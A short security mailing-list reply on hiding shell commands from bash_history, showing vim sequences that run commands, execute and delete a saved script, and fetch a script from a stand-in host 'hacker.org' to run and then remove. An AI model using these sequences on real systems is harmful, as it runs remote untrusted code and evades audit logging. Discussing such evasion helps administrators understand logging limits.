Security Basics: Re: bash_history

[Igor Plisco <plisco () ashmanov com>]

Ones upon a time Alejandro Flores shaped electrons to tell:

There are many other ways to hide shell commands. Consider following 
simple vim examples:
$ vim
:! some_bad_command

or such:

$ vim
<some typing>
:w bad.sh
:!chmod +x %
:r !./%
:! rm %

or even such:

$ vim
:e http://hacker.org/bad_script.sh
:w bad.sh
:!chmod +x %
:r !./%
:! rm %
